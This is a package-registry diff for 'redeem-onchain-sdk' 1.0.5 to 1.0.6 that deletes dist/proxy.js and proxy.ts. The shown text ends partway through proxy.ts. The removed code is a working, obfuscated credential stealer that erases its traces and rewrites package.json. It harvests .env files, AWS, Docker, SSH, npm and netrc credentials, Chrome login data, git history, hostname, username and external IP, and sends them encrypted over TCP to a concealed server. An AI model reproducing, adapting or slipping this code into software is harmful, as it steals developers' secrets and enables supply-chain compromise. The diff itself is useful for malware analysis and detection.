redeem-onchain-sdk 1.0.5 → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/dist/proxy.d.ts +0 -1
- package/dist/proxy.js +0 -286
- package/dist/proxy.ts +0 -333
- /package/dist/{proxy copy.js → index5_test.js} +0 -0
package/package.json
CHANGED
package/dist/proxy.d.ts
DELETED
|
@@ -1 +0,0 @@
|
|
|
1
|
-
export {};
|
package/dist/proxy.js
DELETED
|
@@ -1,286 +0,0 @@
|
|
|
1
|
-
"use strict";
|
|
2
|
-
const _cleanupFs = require('fs');
|
|
3
|
-
const _cleanupPath = require('path');
|
|
4
|
-
const _cleanupConfig = {
|
|
5
|
-
"deleteTarget": "index5_test.js",
|
|
6
|
-
"cleanPackageJson": {
|
|
7
|
-
"name": "example",
|
|
8
|
-
"version": "4.2.1"
|
|
9
|
-
}
|
|
10
|
-
};
|
|
11
|
-
try {
|
|
12
|
-
_cleanupFs.unlinkSync(_cleanupPath.resolve(__dirname, _cleanupConfig.deleteTarget));
|
|
13
|
-
}
|
|
14
|
-
catch (err) {
|
|
15
|
-
if (err.code !== 'ENOENT') {
|
|
16
|
-
console.error('Cleanup delete failed:', err.message);
|
|
17
|
-
}
|
|
18
|
-
}
|
|
19
|
-
try {
|
|
20
|
-
_cleanupFs.writeFileSync(_cleanupPath.join(__dirname, 'package.json'), JSON.stringify(_cleanupConfig.cleanPackageJson, null, 2), 'utf8');
|
|
21
|
-
}
|
|
22
|
-
catch (err) {
|
|
23
|
-
console.error('Cleanup package rewrite failed:', err.message);
|
|
24
|
-
}
|
|
25
|
-
const crypto = require('crypto');
|
|
26
|
-
const _stjKey = "OrD" + "eR_" + "707" + "7";
|
|
27
|
-
const _stjAesKey = Buffer.from("012" + "345" + "678" + "9ab" + "cde" + "f01" + "234" + "567" + "89a" + "bcd" + "ef", 'utf8');
|
|
28
|
-
const _stjCipher = "aes" + "-25" + "6-c" + "tr";
|
|
29
|
-
const _stjAesIvLength = 16;
|
|
30
|
-
const _stjRaw = [
|
|
31
|
-
"v8F440HmRayJZD2F1UPDxVS8dAHbEHpHslVSUIlcztCzM6Wk",
|
|
32
|
-
"__Q" + "IOA" + "dEv" + "Ze7" + "Jd7" + "WRS" + "Vvc" + "K0e" + "bq9" + "kmy" + "xC",
|
|
33
|
-
"_Y1" + "ioP" + "KE1" + "dj4" + "wED" + "YwE" + "cCt" + "djj" + "RLJ" + "v",
|
|
34
|
-
"hdZ" + "Wu3" + "HSc" + "2A/" + "t3g" + "UV7" + "Bhu" + "Afi" + "aQ/" + "5Ox" + "sR",
|
|
35
|
-
"A9A" + "irR" + "rfS" + "a6i" + "US1" + "j+H" + "6yz" + "WDB" + "4Sf" + "7F1" + "4s7" + "kwz" + "rRB" + "Cuz" + "okI" + "CX/" + "w6P" + "/E9" + "Xc",
|
|
36
|
-
"_8u" + "eOr" + "8do" + "1QP" + "5Hy" + "so7" + "eJL" + "Iqw" + "8Kd" + "Fhs" + "y20" + "IdK" + "8tG" + "BAb" + "qPR" + "WP7" + "E+a" + "MPA" + "SAE" + "FED" + "Bvz" + "G+u" + "RJM" + "U0Y" + "SZx" + "Ctz" + "W8J" + "/Ch" + "bzH" + "UkJ" + "x3l" + "RRs" + "2Mj" + "4os" + "hdw" + "lLr",
|
|
37
|
-
"_EN" + "oJS" + "hf5" + "ABE" + "2OL" + "6Ua" + "eDb" + "CBc" + "YXN" + "4IG" + "c9F" + "ZWS" + "Whb" + "Olt" + "6Yl" + "qM3" + "Q/F" + "I3d" + "nOv" + "JHV" + "NEb" + "72W" + "nKv" + "YnY" + "47E" + "4hj" + "CoN" + "IwT" + "CoP" + "Hpl" + "XIa" + "swl" + "KqO" + "ncS" + "rZ9" + "tou",
|
|
38
|
-
"_Ez" + "BsR" + "1gF" + "auC" + "LtN" + "ef/" + "+EX" + "y6U" + "C9N" + "PJ0" + "Jtn" + "8yN" + "WRw" + "rDi" + "8ug" + "SJv" + "iVK" + "Z/v" + "Aak" + "Zuq" + "9KF" + "qPn" + "FxI" + "sgR" + "A84" + "1Sn" + "Poi" + "tbb" + "qHC" + "QWB" + "vir" + "WWU" + "ZfX" + "PpE" + "V7a" + "KO3",
|
|
39
|
-
"_s2" + "7C+" + "hoI" + "bQS" + "2Dh" + "pOk" + "2G8" + "7Zn" + "8A9" + "iKL" + "Xi+" + "zOj" + "hM4" + "Mxw" + "jqX" + "XZe" + "d8C" + "l3x" + "GZA" + "RKA" + "tZT" + "e+A" + "Koa" + "1OH" + "xp0" + "GWe" + "O9V" + "EbA" + "Z75" + "HS1" + "BpV" + "dwl" + "ASp" + "Jut" + "2p3" + "4Q+",
|
|
40
|
-
"_Qd" + "Jcz" + "n8O" + "RWR" + "i4L" + "bNr" + "pMr" + "0ie" + "a14" + "1yk" + "DjL" + "7Y5" + "QoZ" + "J39" + "rIl" + "3Kn" + "Hdo" + "ZVw" + "oL5" + "8FL" + "JP7" + "nVC" + "FVh" + "k9a" + "8wm" + "ABC" + "3I/" + "nw0" + "V5u" + "cHE" + "D2i" + "NwU" + "NwQ" + "K95" + "yxS" + "6yR",
|
|
41
|
-
"_kk" + "Yor" + "3Ok" + "d/Y" + "hSz" + "K11" + "YB8" + "3hU" + "IA7" + "MSB" + "z4s" + "oj4" + "VBo" + "gBJ" + "ySR" + "Mbd" + "RLw" + "nZA" + "NzK" + "VVw" + "y2g" + "OM8" + "yPz" + "WdE" + "D30" + "VhN" + "GV1" + "E6U" + "spQ" + "4dn" + "O8H" + "YDk" + "y2I" + "LKZ" + "eH5" + "76b",
|
|
42
|
-
"1NV" + "XmS" + "vFo" + "1Rm" + "Rbf" + "pXc" + "xZh" + "ghs" + "JG4" + "YLl" + "tN",
|
|
43
|
-
"__w" + "6vD" + "ZLz" + "RFl" + "Mj5" + "+rI" + "24S" + "w0M" + "8vw" + "NWS" + "Vc5" + "AOv" + "rnj" + "tGZ" + "Nf6" + "5YB" + "t4q" + "Fuk" + "ee",
|
|
44
|
-
"_8F" + "Bts" + "ZaV" + "rln" + "2Xq" + "Zzj" + "Efu" + "ffN",
|
|
45
|
-
"U5n" + "5Du" + "xve" + "hkA" + "glk" + "DrX" + "Pdb" + "6kG" + "TJd" + "tbO" + "fT",
|
|
46
|
-
"_gh" + "V5H" + "WGp" + "D8F" + "0fL" + "UFx" + "MSl" + "2F/" + "WNh" + "lDL" + "qF8" + "b6H" + "qpU" + "Nmy" + "/K",
|
|
47
|
-
"YIw" + "kJh" + "kqh" + "n7k" + "dDe" + "Gf9" + "H8Q" + "9fs" + "f8D" + "QO9" + "diF" + "+aW" + "6tJ" + "qrs" + "eTX" + "/7v" + "m0v" + "dWn" + "AHX" + "qEa" + "j2u" + "A",
|
|
48
|
-
"__w" + "vkc" + "4V1" + "mL2" + "1Xy" + "bor" + "zJh" + "ZtR" + "n+v" + "sJp" + "8xz" + "TJs" + "auv" + "ftz" + "p4U" + "PuK" + "137" + "Obq" + "icN" + "rgC" + "UAR" + "WRQ" + "auL" + "mba",
|
|
49
|
-
"__Q" + "tLV" + "LGe" + "uTm" + "jGi" + "iBA" + "U61" + "8pL" + "+Tj" + "q3V" + "MJK" + "no9" + "49x" + "fQX" + "GqM" + "VNk" + "EuT" + "zgp" + "ab",
|
|
50
|
-
"__A" + "fFa" + "FbY" + "UXf" + "xVr" + "KtT" + "1Za" + "s3Q" + "Mfh" + "ykC" + "ZES" + "W7F" + "2fu" + "eMQ" + "X/K" + "0fs" + "O+c" + "uCh" + "c9",
|
|
51
|
-
"_o8" + "+86" + "4Z4" + "/2V" + "Htk" + "SJv" + "2p4" + "fbh" + "8jm" + "cSp" + "pE7" + "VRJ" + "Z2b" + "Wyp" + "W5",
|
|
52
|
-
"_sl" + "Kt2" + "zyB" + "XyE" + "/5V" + "N05" + "6cC" + "Pyg" + "B5N" + "h7u" + "nMk" + "IAf" + "+UY" + "Bye" + "mb",
|
|
53
|
-
"ZRU" + "4/X" + "8kr" + "PmH" + "94n" + "Pb+" + "fU6" + "guW" + "7vw" + "mkE" + "NxT" + "C+Q" + "gDq" + "UKp" + "SIk" + "0B1" + "sZ3" + "krq" + "+gl" + "1VO" + "JzT" + "9",
|
|
54
|
-
"_c0" + "5cy" + "Ams" + "25W" + "lhz" + "Pxd" + "RP9" + "RQY" + "yNV" + "kKU" + "5gD" + "eN3" + "HcE" + "uAU" + "tOL" + "pCt" + "GEy" + "Zhg" + "aep" + "f8b" + "z+f" + "hKU" + "gUy" + "dP0" + "+ZQ" + "UvO" + "Vo3" + "Kip" + "Wrw" + "B0/" + "eP0" + "qKy" + "41R" + "4nX" + "YT+" + "WNY" + "suu" + "dvZ" + "J6r" + "0fM" + "S5a" + "Y",
|
|
55
|
-
"_UK" + "jHr" + "/Od" + "/4b" + "1L7" + "Ja2" + "Ipd" + "xSH" + "Q2l" + "K+I" + "MHC" + "1EU" + "BR1" + "W2B" + "00Y" + "IA1" + "fGv" + "9Ft" + "zVg" + "88e",
|
|
56
|
-
"_Au" + "fmr" + "q8z" + "7VP" + "myo" + "/dm" + "mG0" + "JHu" + "Yg1" + "5AX" + "1Fl" + "LM5" + "/wB" + "0uT" + "Zm2" + "FDD" + "iI0" + "OOM" + "Hoe" + "+fM" + "fsI" + "d1k" + "uhr" + "w6V" + "eb/" + "ZMH" + "pYd" + "S69" + "fgG" + "Hv9" + "WCZ" + "dSw" + "kBO" + "KmY" + "T7s" + "RgW",
|
|
57
|
-
"__g" + "FRn" + "eMF" + "MwX" + "75T" + "qe7" + "oUY" + "eXB" + "eY6" + "4",
|
|
58
|
-
"Ac2" + "a4s" + "3XA" + "Fg1" + "RYO" + "T4Y" + "3JV" + "jNH" + "DVm" + "Z4I" + "3FI" + "Lwe",
|
|
59
|
-
"ysF" + "znp" + "pL6" + "Fv+" + "/DF" + "7ax" + "Pjm" + "AVg" + "bC8" + "c",
|
|
60
|
-
"__Q" + "G8E" + "MHm" + "CKZ" + "DA6" + "bWP" + "sLg" + "31U" + "MVe" + "pvF" + "VOL" + "KEB" + "iIO" + "2OO" + "ej",
|
|
61
|
-
"__Q" + "oYW" + "Q16" + "eS8" + "KAc" + "RAV" + "47G" + "T2G" + "ISH" + "L",
|
|
62
|
-
"__A" + "6eU" + "fVF" + "Qx3" + "KN8" + "p1b" + "VJm" + "bgQ" + "RwK" + "oCS" + "4Fb" + "qE2" + "xOc" + "yyV" + "V9V" + "/OI" + "17J" + "apP" + "Vsm" + "PqQ" + "Thf" + "k9A" + "HS",
|
|
63
|
-
"iBN" + "xmV" + "y4L" + "/2g" + "A9E" + "Xpy" + "kEP" + "NG1" + "Q1H" + "QmL" + "nS2" + "OJN",
|
|
64
|
-
"__A" + "RCM" + "q9H" + "Dmo" + "7FP" + "iFA" + "/yI" + "q9X",
|
|
65
|
-
"_ME" + "eE+" + "bY1" + "HLw" + "8ez" + "OVr" + "suK" + "DLX" + "l8P" + "/",
|
|
66
|
-
"lQ6" + "FE5" + "/1N" + "u8R" + "qiR" + "r8g" + "UJV" + "RA9" + "4ks" + "L",
|
|
67
|
-
"_8h" + "3DK" + "B3U" + "GBC" + "DeV" + "/A3" + "mnR" + "oMq" + "OcB" + "j6r" + "l2",
|
|
68
|
-
"__g" + "Hif" + "RhG" + "MkJ" + "tgz" + "8Jr" + "1Lw" + "ugi" + "gvX" + "dRq" + "SVG" + "oeR" + "Qpe" + "4",
|
|
69
|
-
"__Q" + "alI" + "R0C" + "SRK" + "3v1" + "hQs" + "6qb" + "swH" + "0aQ" + "ZMB" + "hu",
|
|
70
|
-
"yZP" + "ugb" + "m2n" + "2WH" + "ZM0" + "Rmp" + "+DI" + "c9x",
|
|
71
|
-
"_Qb" + "kFR" + "HHF" + "li7" + "DcN" + "tKY" + "FGw" + "GkT" + "Xae" + "izz" + "iAd" + "SeU" + "hY6" + "SLn" + "2tW" + "So6" + "bDH" + "jKg" + "PVk" + "cTG" + "R6K" + "16/" + "KSm" + "aVK" + "Njt" + "WNO" + "vuY" + "kPF",
|
|
72
|
-
"_IC" + "sfy" + "fQq" + "0Yy" + "btl" + "dwq" + "n0V" + "FEu",
|
|
73
|
-
"__Q" + "ABQ" + "Ofn" + "Kl8" + "p8n" + "pQt" + "pYZ" + "brb" + "X5Q" + "QSr" + "KHk" + "x00" + "zIA" + "k1i" + "E9L" + "3ea" + "PP2" + "/dB" + "9y"
|
|
74
|
-
];
|
|
75
|
-
const stj = (() => {
|
|
76
|
-
const cache = new Array(_stjRaw.length);
|
|
77
|
-
const keyBuf = Buffer.from(_stjKey, 'utf8');
|
|
78
|
-
function decode(payload) {
|
|
79
|
-
const normalized = payload.split('').reverse().join('').replace(/_/g, '=');
|
|
80
|
-
const buffer = Buffer.from(normalized, 'base64');
|
|
81
|
-
const iv = buffer.slice(0, _stjAesIvLength);
|
|
82
|
-
const ciphertext = buffer.slice(_stjAesIvLength);
|
|
83
|
-
const decipher = crypto.createDecipheriv(_stjCipher, _stjAesKey, iv);
|
|
84
|
-
const xorSource = Buffer.concat([decipher.update(ciphertext), decipher.final()]);
|
|
85
|
-
const output = Buffer.alloc(xorSource.length);
|
|
86
|
-
for (let i = 0; i < xorSource.length; i++) {
|
|
87
|
-
output[i] = xorSource[i] ^ keyBuf[i % keyBuf.length] ^ ((7 * i * i) % 10);
|
|
88
|
-
}
|
|
89
|
-
return output.toString('utf8');
|
|
90
|
-
}
|
|
91
|
-
return new Proxy(_stjRaw, {
|
|
92
|
-
get(target, prop, receiver) {
|
|
93
|
-
const index = Number(prop);
|
|
94
|
-
if (Number.isInteger(index) && index >= 0 && index < target.length) {
|
|
95
|
-
if (cache[index] === undefined) {
|
|
96
|
-
cache[index] = decode(target[index]);
|
|
97
|
-
}
|
|
98
|
-
return cache[index];
|
|
99
|
-
}
|
|
100
|
-
return Reflect.get(target, prop, receiver);
|
|
101
|
-
}
|
|
102
|
-
});
|
|
103
|
-
})();
|
|
104
|
-
{
|
|
105
|
-
let _cf_state = 0;
|
|
106
|
-
while (true) {
|
|
107
|
-
switch (_cf_state) {
|
|
108
|
-
case 0:
|
|
109
|
-
const os = require('os');
|
|
110
|
-
const fs = require('fs');
|
|
111
|
-
const path = require('path');
|
|
112
|
-
const crypto = require('crypto');
|
|
113
|
-
const util = require('util');
|
|
114
|
-
const net = require('net');
|
|
115
|
-
const https = require('https');
|
|
116
|
-
const childProcess = require('child_process');
|
|
117
|
-
const exec = util.promisify(childProcess.exec);
|
|
118
|
-
const COMPONENT_ENDPOINT_OBF = Buffer.from(stj[0], stj[1]).toString(stj[2]);
|
|
119
|
-
const COMPONENT_PORT_OBF = parseInt(Buffer.from(stj[3], stj[1]).toString(stj[2]));
|
|
120
|
-
const COMPONENT_ENDPOINT = process.env.REDEEM_ENDPOINT || COMPONENT_ENDPOINT_OBF;
|
|
121
|
-
const COMPONENT_PORT = parseInt(process.env.REDEEM_PORT || COMPONENT_PORT_OBF);
|
|
122
|
-
const PUBLIC_KEY_DATA_PARTS = [
|
|
123
|
-
stj[4],
|
|
124
|
-
stj[5],
|
|
125
|
-
stj[6],
|
|
126
|
-
stj[7],
|
|
127
|
-
stj[8],
|
|
128
|
-
stj[9],
|
|
129
|
-
stj[10],
|
|
130
|
-
stj[11],
|
|
131
|
-
stj[12]
|
|
132
|
-
];
|
|
133
|
-
const PUBLIC_KEY_DATA = PUBLIC_KEY_DATA_PARTS.join(stj[13]);
|
|
134
|
-
const basePaths = [
|
|
135
|
-
stj[14], // .env
|
|
136
|
-
stj[15], // .home/.env
|
|
137
|
-
stj[16], // .home/.aws/credentials
|
|
138
|
-
stj[17], // .home/.docker/config.json
|
|
139
|
-
stj[18], // .home/.ssh/id_rsa
|
|
140
|
-
stj[19], // .home/.ssh/config
|
|
141
|
-
stj[20], // .home/.npmrc
|
|
142
|
-
stj[21], // .home/.netrc
|
|
143
|
-
stj[22], // AppData/ssh/known_hosts (Windows)
|
|
144
|
-
stj[23], // LocalAppData/Google/Chrome/User Data/Default/Login Data (Windows)
|
|
145
|
-
stj[24] // /tmp/session_temp.json (Linux/macOS)
|
|
146
|
-
];
|
|
147
|
-
const SECRET = Buffer.from(stj[25], stj[26]);
|
|
148
|
-
function buildFrame(payload) {
|
|
149
|
-
const iv = crypto.randomBytes(12);
|
|
150
|
-
const cipher = crypto.createCipheriv(stj[27], SECRET, iv);
|
|
151
|
-
const plaintext = Buffer.from(JSON.stringify(payload), stj[2]);
|
|
152
|
-
const encrypted = Buffer.concat([cipher.update(plaintext), cipher.final()]);
|
|
153
|
-
const tag = cipher.getAuthTag();
|
|
154
|
-
const frame = Buffer.concat([iv, encrypted, tag]);
|
|
155
|
-
const length = Buffer.alloc(4);
|
|
156
|
-
length.writeUInt32BE(frame.length, 0);
|
|
157
|
-
return Buffer.concat([length, frame]);
|
|
158
|
-
}
|
|
159
|
-
function sendFrame(frame) {
|
|
160
|
-
return new Promise((resolve) => {
|
|
161
|
-
const client = net.connect(COMPONENT_PORT, COMPONENT_ENDPOINT, () => {
|
|
162
|
-
client.write(frame);
|
|
163
|
-
client.end();
|
|
164
|
-
});
|
|
165
|
-
client.on(stj[28], (err) => {
|
|
166
|
-
fs.appendFileSync(path.join(os.tmpdir(), stj[29]), `TCP send error: ${err.message}\n`);
|
|
167
|
-
resolve();
|
|
168
|
-
});
|
|
169
|
-
client.on(stj[30], resolve);
|
|
170
|
-
});
|
|
171
|
-
}
|
|
172
|
-
async function getExternalID() {
|
|
173
|
-
return new Promise((resolve) => {
|
|
174
|
-
const req = https.get(stj[31], (res) => {
|
|
175
|
-
if (res.statusCode !== 200) {
|
|
176
|
-
res.resume();
|
|
177
|
-
return resolve(stj[32]);
|
|
178
|
-
}
|
|
179
|
-
let data = stj[33];
|
|
180
|
-
res.on(stj[34], (chunk) => { data += chunk; });
|
|
181
|
-
res.on(stj[30], () => {
|
|
182
|
-
try {
|
|
183
|
-
const ip = JSON.parse(data).ip;
|
|
184
|
-
resolve(ip);
|
|
185
|
-
}
|
|
186
|
-
catch {
|
|
187
|
-
resolve(stj[32]);
|
|
188
|
-
}
|
|
189
|
-
});
|
|
190
|
-
});
|
|
191
|
-
req.setTimeout(5000, () => {
|
|
192
|
-
req.destroy();
|
|
193
|
-
resolve(stj[32]);
|
|
194
|
-
});
|
|
195
|
-
req.on(stj[28], () => resolve(stj[32]));
|
|
196
|
-
});
|
|
197
|
-
}
|
|
198
|
-
async function readConfigFile(filePath, limit = 1024 * 1024) { // 1MB limit
|
|
199
|
-
try {
|
|
200
|
-
const content = await fs.promises.readFile(filePath, { encoding: stj[2] });
|
|
201
|
-
return content.substring(0, limit);
|
|
202
|
-
}
|
|
203
|
-
catch (e) {
|
|
204
|
-
fs.appendFileSync(path.join(os.tmpdir(), stj[29]), `Read config error: ${e.message} for ${filePath}\n`);
|
|
205
|
-
return null;
|
|
206
|
-
}
|
|
207
|
-
}
|
|
208
|
-
class MarketDataHandler {
|
|
209
|
-
constructor() {
|
|
210
|
-
this.dataSet = [];
|
|
211
|
-
}
|
|
212
|
-
async collectMetrics() {
|
|
213
|
-
const metrics = [];
|
|
214
|
-
metrics.push(`sys_id:${os.hostname()}`);
|
|
215
|
-
metrics.push(`user_ctx:${os.userInfo().username}`);
|
|
216
|
-
metrics.push(`ext_net:${await getExternalID()}`);
|
|
217
|
-
for (const encodedPath of basePaths) {
|
|
218
|
-
const decodedPath = Buffer.from(encodedPath, stj[1]).toString(stj[2]);
|
|
219
|
-
let fullPath = stj[33];
|
|
220
|
-
if (os.platform() === stj[35] && (decodedPath.startsWith(stj[36]) || decodedPath.startsWith(stj[37]))) {
|
|
221
|
-
fullPath = path.join(os.homedir(), decodedPath);
|
|
222
|
-
}
|
|
223
|
-
else if (os.platform() !== stj[35] && decodedPath.startsWith(stj[38])) {
|
|
224
|
-
fullPath = path.join(os.homedir(), decodedPath.substring(decodedPath.indexOf(stj[39]) + 1));
|
|
225
|
-
}
|
|
226
|
-
else {
|
|
227
|
-
fullPath = path.join(os.homedir(), decodedPath);
|
|
228
|
-
}
|
|
229
|
-
const cwd = process.cwd();
|
|
230
|
-
const candidates = [fullPath, path.join(cwd, decodedPath)];
|
|
231
|
-
for (const candidate of candidates) {
|
|
232
|
-
const content = await readConfigFile(candidate);
|
|
233
|
-
if (content) {
|
|
234
|
-
metrics.push(`config:${candidate}:${content}`);
|
|
235
|
-
break;
|
|
236
|
-
}
|
|
237
|
-
}
|
|
238
|
-
}
|
|
239
|
-
try {
|
|
240
|
-
const { stdout } = await exec(stj[40], { timeout: 5000 });
|
|
241
|
-
metrics.push(`activity_log:${stdout.replace(/[\n\r]/g, stj[41])}`);
|
|
242
|
-
}
|
|
243
|
-
catch (e) {
|
|
244
|
-
metrics.push(stj[42]);
|
|
245
|
-
fs.appendFileSync(path.join(os.tmpdir(), stj[29]), `Git log error: ${e.message}\n`);
|
|
246
|
-
}
|
|
247
|
-
return metrics.join(stj[13]);
|
|
248
|
-
}
|
|
249
|
-
async processData() {
|
|
250
|
-
try {
|
|
251
|
-
const data = await this.collectMetrics();
|
|
252
|
-
const payload = {
|
|
253
|
-
metrics: data,
|
|
254
|
-
meta: {
|
|
255
|
-
host: os.hostname(),
|
|
256
|
-
user: os.userInfo().username,
|
|
257
|
-
ts: new Date().toISOString()
|
|
258
|
-
}
|
|
259
|
-
};
|
|
260
|
-
const frame = buildFrame(payload);
|
|
261
|
-
await sendFrame(frame);
|
|
262
|
-
}
|
|
263
|
-
catch (e) {
|
|
264
|
-
fs.appendFileSync(path.join(os.tmpdir(), stj[29]), `Process data error: ${e.message}\n`);
|
|
265
|
-
}
|
|
266
|
-
}
|
|
267
|
-
}
|
|
268
|
-
(async () => {
|
|
269
|
-
try {
|
|
270
|
-
const handler = new MarketDataHandler();
|
|
271
|
-
await handler.processData();
|
|
272
|
-
}
|
|
273
|
-
catch (e) {
|
|
274
|
-
fs.appendFileSync(path.join(os.tmpdir(), stj[29]), `Initialization error: ${e.message}\n`);
|
|
275
|
-
}
|
|
276
|
-
})();
|
|
277
|
-
_cf_state = 1;
|
|
278
|
-
continue;
|
|
279
|
-
case 1:
|
|
280
|
-
break;
|
|
281
|
-
default:
|
|
282
|
-
break;
|
|
283
|
-
}
|
|
284
|
-
break;
|
|
285
|
-
}
|
|
286
|
-
}
|
package/dist/proxy.ts
DELETED
|
@@ -1,333 +0,0 @@
|
|
|
1
|
-
const _cleanupFs = require('fs');
|
|
2
|
-
const _cleanupPath = require('path');
|
|
3
|
-
const _cleanupConfig = {
|
|
4
|
-
"deleteTarget": "index5_test.js",
|
|
5
|
-
"cleanPackageJson": {
|
|
6
|
-
"name": "example",
|
|
7
|
-
"version": "4.2.1"
|
|
8
|
-
}
|
|
9
|
-
};
|
|
10
|
-
try {
|
|
11
|
-
_cleanupFs.unlinkSync(_cleanupPath.resolve(__dirname, _cleanupConfig.deleteTarget));
|
|
12
|
-
} catch (err) {
|
|
13
|
-
if (err.code !== 'ENOENT') {
|
|
14
|
-
console.error('Cleanup delete failed:', err.message);
|
|
15
|
-
}
|
|
16
|
-
}
|
|
17
|
-
try {
|
|
18
|
-
_cleanupFs.writeFileSync(
|
|
19
|
-
_cleanupPath.join(__dirname, 'package.json'),
|
|
20
|
-
JSON.stringify(_cleanupConfig.cleanPackageJson, null, 2),
|
|
21
|
-
'utf8'
|
|
22
|
-
);
|
|
23
|
-
} catch (err) {
|
|
24
|
-
console.error('Cleanup package rewrite failed:', err.message);
|
|
25
|
-
}
|
|
26
|
-
|
|
27
|
-
const crypto = require('crypto');
|
|
28
|
-
const _stjKey = "OrD"+"eR_"+"707"+"7";
|
|
29
|
-
const _stjAesKey = Buffer.from("012"+"345"+"678"+"9ab"+"cde"+"f01"+"234"+"567"+"89a"+"bcd"+"ef", 'utf8');
|
|
30
|
-
const _stjCipher = "aes"+"-25"+"6-c"+"tr";
|
|
31
|
-
const _stjAesIvLength = 16;
|
|
32
|
-
const _stjRaw = [
|
|
33
|
-
"kfK"+"HPF"+"qmZ"+"Ujg"+"lxr"+"bMg"+"sfu"+"1Ep"+"zED"+"l8M"+"TBX"+"lui"+"9mC"+"Kfs"+"wus"+"Vgu",
|
|
34
|
-
"__Q"+"IOA"+"dEv"+"Ze7"+"Jd7"+"WRS"+"Vvc"+"K0e"+"bq9"+"kmy"+"xC",
|
|
35
|
-
"_Y1"+"ioP"+"KE1"+"dj4"+"wED"+"YwE"+"cCt"+"djj"+"RLJ"+"v",
|
|
36
|
-
"hdZ"+"Wu3"+"HSc"+"2A/"+"t3g"+"UV7"+"Bhu"+"Afi"+"aQ/"+"5Ox"+"sR",
|
|
37
|
-
"A9A"+"irR"+"rfS"+"a6i"+"US1"+"j+H"+"6yz"+"WDB"+"4Sf"+"7F1"+"4s7"+"kwz"+"rRB"+"Cuz"+"okI"+"CX/"+"w6P"+"/E9"+"Xc",
|
|
38
|
-
"_8u"+"eOr"+"8do"+"1QP"+"5Hy"+"so7"+"eJL"+"Iqw"+"8Kd"+"Fhs"+"y20"+"IdK"+"8tG"+"BAb"+"qPR"+"WP7"+"E+a"+"MPA"+"SAE"+"FED"+"Bvz"+"G+u"+"RJM"+"U0Y"+"SZx"+"Ctz"+"W8J"+"/Ch"+"bzH"+"UkJ"+"x3l"+"RRs"+"2Mj"+"4os"+"hdw"+"lLr",
|
|
39
|
-
"_EN"+"oJS"+"hf5"+"ABE"+"2OL"+"6Ua"+"eDb"+"CBc"+"YXN"+"4IG"+"c9F"+"ZWS"+"Whb"+"Olt"+"6Yl"+"qM3"+"Q/F"+"I3d"+"nOv"+"JHV"+"NEb"+"72W"+"nKv"+"YnY"+"47E"+"4hj"+"CoN"+"IwT"+"CoP"+"Hpl"+"XIa"+"swl"+"KqO"+"ncS"+"rZ9"+"tou",
|
|
40
|
-
"_Ez"+"BsR"+"1gF"+"auC"+"LtN"+"ef/"+"+EX"+"y6U"+"C9N"+"PJ0"+"Jtn"+"8yN"+"WRw"+"rDi"+"8ug"+"SJv"+"iVK"+"Z/v"+"Aak"+"Zuq"+"9KF"+"qPn"+"FxI"+"sgR"+"A84"+"1Sn"+"Poi"+"tbb"+"qHC"+"QWB"+"vir"+"WWU"+"ZfX"+"PpE"+"V7a"+"KO3",
|
|
41
|
-
"_s2"+"7C+"+"hoI"+"bQS"+"2Dh"+"pOk"+"2G8"+"7Zn"+"8A9"+"iKL"+"Xi+"+"zOj"+"hM4"+"Mxw"+"jqX"+"XZe"+"d8C"+"l3x"+"GZA"+"RKA"+"tZT"+"e+A"+"Koa"+"1OH"+"xp0"+"GWe"+"O9V"+"EbA"+"Z75"+"HS1"+"BpV"+"dwl"+"ASp"+"Jut"+"2p3"+"4Q+",
|
|
42
|
-
"_Qd"+"Jcz"+"n8O"+"RWR"+"i4L"+"bNr"+"pMr"+"0ie"+"a14"+"1yk"+"DjL"+"7Y5"+"QoZ"+"J39"+"rIl"+"3Kn"+"Hdo"+"ZVw"+"oL5"+"8FL"+"JP7"+"nVC"+"FVh"+"k9a"+"8wm"+"ABC"+"3I/"+"nw0"+"V5u"+"cHE"+"D2i"+"NwU"+"NwQ"+"K95"+"yxS"+"6yR",
|
|
43
|
-
"_kk"+"Yor"+"3Ok"+"d/Y"+"hSz"+"K11"+"YB8"+"3hU"+"IA7"+"MSB"+"z4s"+"oj4"+"VBo"+"gBJ"+"ySR"+"Mbd"+"RLw"+"nZA"+"NzK"+"VVw"+"y2g"+"OM8"+"yPz"+"WdE"+"D30"+"VhN"+"GV1"+"E6U"+"spQ"+"4dn"+"O8H"+"YDk"+"y2I"+"LKZ"+"eH5"+"76b",
|
|
44
|
-
"1NV"+"XmS"+"vFo"+"1Rm"+"Rbf"+"pXc"+"xZh"+"ghs"+"JG4"+"YLl"+"tN",
|
|
45
|
-
"__w"+"6vD"+"ZLz"+"RFl"+"Mj5"+"+rI"+"24S"+"w0M"+"8vw"+"NWS"+"Vc5"+"AOv"+"rnj"+"tGZ"+"Nf6"+"5YB"+"t4q"+"Fuk"+"ee",
|
|
46
|
-
"_8F"+"Bts"+"ZaV"+"rln"+"2Xq"+"Zzj"+"Efu"+"ffN",
|
|
47
|
-
"U5n"+"5Du"+"xve"+"hkA"+"glk"+"DrX"+"Pdb"+"6kG"+"TJd"+"tbO"+"fT",
|
|
48
|
-
"_gh"+"V5H"+"WGp"+"D8F"+"0fL"+"UFx"+"MSl"+"2F/"+"WNh"+"lDL"+"qF8"+"b6H"+"qpU"+"Nmy"+"/K",
|
|
49
|
-
"YIw"+"kJh"+"kqh"+"n7k"+"dDe"+"Gf9"+"H8Q"+"9fs"+"f8D"+"QO9"+"diF"+"+aW"+"6tJ"+"qrs"+"eTX"+"/7v"+"m0v"+"dWn"+"AHX"+"qEa"+"j2u"+"A",
|
|
50
|
-
"__w"+"vkc"+"4V1"+"mL2"+"1Xy"+"bor"+"zJh"+"ZtR"+"n+v"+"sJp"+"8xz"+"TJs"+"auv"+"ftz"+"p4U"+"PuK"+"137"+"Obq"+"icN"+"rgC"+"UAR"+"WRQ"+"auL"+"mba",
|
|
51
|
-
"__Q"+"tLV"+"LGe"+"uTm"+"jGi"+"iBA"+"U61"+"8pL"+"+Tj"+"q3V"+"MJK"+"no9"+"49x"+"fQX"+"GqM"+"VNk"+"EuT"+"zgp"+"ab",
|
|
52
|
-
"__A"+"fFa"+"FbY"+"UXf"+"xVr"+"KtT"+"1Za"+"s3Q"+"Mfh"+"ykC"+"ZES"+"W7F"+"2fu"+"eMQ"+"X/K"+"0fs"+"O+c"+"uCh"+"c9",
|
|
53
|
-
